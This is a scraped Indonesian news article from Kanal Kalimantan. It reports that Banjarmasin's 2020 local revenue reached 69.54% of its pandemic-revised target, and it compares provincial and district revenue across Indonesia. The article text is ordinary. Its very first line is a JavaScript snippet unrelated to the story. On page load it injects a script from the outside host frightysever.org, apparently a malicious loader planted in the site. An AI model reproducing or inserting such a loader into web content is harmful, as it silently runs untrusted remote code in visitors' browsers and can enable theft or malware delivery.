(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Banjarmasin

Di Bawah Bayang Resesi Pandemi, Banjarmasin Bukukan Pendapatan Rp 245 Miliar


KANALKALIMANTAN.COM, BANJARMASIN – Di bawah bayang-bayang ancaman resesi akibat pandemi Covid-19, perekonomian di kota Banjarmasin diklaim masih stabil.

Capaian Pendapatan Asli Daerah (PAD) Kota Banjarmasin diakui Pemerintah Kota (Pemko) Banjarmasin masih tertinggi dibandingkan kabupaten dan kota lain di Indonesia.

Tercatat hingga akhir Juli 2020, sudah terealisasi sebesar 69,54% dari target sebesar Rp 254 miliar lebih.

“Meskipun dalam kondisi pandemi, Alhamdulillah kita mendapat apresiasi dari pemerintah pusat mampu menjaga kestabilan PAD,” aku Kepala Badan Keuangan Daerah (BKD) Kota Banjarmasin Subhan Nor Yaumil, Selasa (18/8/2020).

Menurut Subhan, target awal PAD Kota Banjarmasin tahun 2020 mencapai Rp 367 miliar. Setelah beberapa kali dilakukan realokasi anggaran untuk penanganan Covid-19, target pun diturunkan menjadi Rp 254 miliar.

Disamping itu, Subhan mengakui, ada beberapa sektor pajak yang dimaksimalkan dan akhirnya mampu menutupi sektor pajak hotel dan hiburan yang mengalami penurunan akibat Covid-19. Yaitu pajak reklame, terealisasi sudah hampir Rp 2 miliar sampai bulan Juli lalu dari target menyesuaikan menjadi Rp 3,25 miliar.

Kemudian pajak Penerangan Jalan Umum (PJU) realisasinya sudah mencapai Rp 26,5 miliar dan Bea Perolehan Hak atas Tanah dan Bangunan (BPHTB) sebesar Rp16,6 miliar.

“Perekonomian di Banjarmasin jika dikatakan mengalami penurunan pastilah ada, akan tetapi tidak terlalu terjun bebas. Semoga sampai Desember nanti bisa terpenuhi yang ditargetkan,” imbuh Subhan.

Realisasi pendapatan 34 provinsi senilai Rp 154,19 triliun atau 47,55 persen dari target Rp 324,28 triliun. Adapun pada kabupaten/kota, realisasi penerimaannya sebesar Rp 382,11 triliun atau 48,44 persen dari target Rp 788,77 triliun.

Persentase realisasi pendapatan provinsi di Indonesia rata-rata 47,55 persen, dengan 19 provinsi melampaui rata-rata dan 15 lainnya di bawah rata-rata.

Provinsi dengan persentase realisasi pendapatan terbesar adalah DKI Jakarta sebesar 64,9 persen, diikuti Sumatera Barat 60,85 persen dan Daerah Istimewa Yogyakarta 58,53 persen.

Sedangkan provinsi dengan realisasi pendapatan terendah yakni Papua yang hanya 22,18 persen, Papua Barat 24,81persen, dan Aceh 29,98 persen.

Jika dilihat berdasarkan kabupaten/kota, rata-rata persentase pendapatan sebesar 48,21 persen. Persentase pendapatan tertinggi terjadi di kota Banjarmasin sebesar 69,54 persen, sedangkan yang terendah adalah Kabupaten Manokwari hanya 9,02 persen. (kanalkalimantan.com/fikri)


Al Ghifari

Recent Posts

Ibadah dan Sosial Ekonomi Berkembang, Masjid At-Taqwa Karang Anyar III Diperluas

KANALKALIMANTAN.COM, BANJARBARU - Dalam beberapa tahun terakhir, antusias warga dalam melaksanakan peribadatan di Masjid At… Read More

47 menit ago

Amuntai Expo dan Bazar Ekonomi Kreatif 2024

KANALKALIMANTAN.COM, AMUNTAI - Memeriahkan Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU) digelar Amuntai Expo… Read More

11 jam ago

Warga Muhammadiyah Banjarbaru Berhalalbihalal di Masjid At Taqwa

KANALKALIMANTAN.COM, BANJARBARU - Pimpinan Cabang Muhammadiyah Banjarbaru Utara menggelar halalbihalal sekaligus Hari Bermuhammadiyah kali pertama… Read More

14 jam ago

5 Mei Hari Bidan Sedunia

KANALKALIMANTAN.COM – Negara-negara di dunia merayakan Hari Bidan Sedunia yang jatuh pada 5 Mei setiap… Read More

19 jam ago

Syamsudin Noor Jadi Bandara Domestik, Begini Respon Wali Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Pencopotan status internasional pada Bandara Syamsudin Noor Banjarmasin yang terletak di Kota… Read More

20 jam ago

Presiden Jokowi di Booth PLN PEVS 2024, Dirut PLN Paparkan Kesiapan Ekosistem Kendaraan Listrik

KANALKALIMANTAN.COM, JAKARTA - Presiden Republik Indonesia Joko Widodo (Jokowi) mengunjungi booth PT PLN (Persero) dalam… Read More

23 jam ago

This website uses cookies.